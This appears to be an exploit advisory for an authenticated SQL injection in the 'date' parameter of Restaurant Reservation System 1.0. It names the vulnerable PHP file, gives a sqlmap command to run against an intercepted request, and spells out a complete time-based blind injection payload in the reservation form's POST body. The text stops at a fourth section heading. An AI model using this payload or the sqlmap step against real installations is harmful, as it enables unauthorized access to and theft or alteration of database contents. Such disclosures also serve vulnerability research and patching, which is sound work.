# Exploit Title: Restaurant Reservation System 1.0 - 'date' SQL Injection (Authenticated) # Date: 2020-10-05 # Exploit Author: b1nary # Vendor Homepage: https://www.sourcecodester.com/php/14482/restaurant-reservation-system-php-full-source-code-2020.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/restaurants_3.zip # Version: 1.0 # Tested on: Linux + Apache2 ------------------------------------------------------------------------------------ 1. Description: ---------------------- Restaurant Reservation System 1.0 allows SQL Injection via parameter 'date' in includes/reservation.inc.php. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 2. Proof of Concept: ---------------------- In Burpsuite intercept the request from the affected page with 'date' parameter and save it like re.req. Then run SQLmap to extract the data from the database: sqlmap -r re.req --dbms=mysql 3. Example payload: ---------------------- (time-based blind) fname=user&lname=user&date=2020-10-14' AND (SELECT 1934 FROM (SELECT(SLEEP(5)))lmWi) AND 'navS'='navS&time=16:00 - 20:00&num_guests=2&tele=123456789&comments=null&reserv-submit= 4.
